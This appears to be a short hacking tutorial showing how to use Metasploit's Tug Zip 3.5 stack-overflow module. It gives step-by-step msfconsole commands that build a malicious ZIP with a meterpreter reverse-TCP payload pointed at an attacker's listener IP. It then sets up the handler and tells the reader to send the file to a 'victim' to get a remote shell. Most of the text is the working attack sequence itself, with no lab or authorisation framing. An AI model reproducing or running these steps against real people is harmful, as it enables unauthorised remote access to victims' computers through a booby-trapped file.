This module exploits stack-based buffer overflow vulnerability in the latest version 3.5 of Tug Zip archiving utility. In order to trigger the vulnerability, an attacker must convince someone to load a specially crafted zip file with Tug Zip by double click or file open. By doing so, an attacker can execute arbitrary code as the victim user.
Exploit Targets
Tug ZIP 3.5
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/fileformat/tugzip
Msf exploit (tugzip)>set payload windows/meterpreter/reverse_tcp
Msf exploit (tugzip)>set lhost 192.168.1.3 (IP of Local Host)
Msf exploit (tugzip)>set filename secret.zip
Msf exploit (tugzip)>exploit
After we successfully generate the malicious ZIP File, it will stored on your local computer
/root/.msf4/local/secret.zip
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.3
exploit
Now send your secret.zip files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
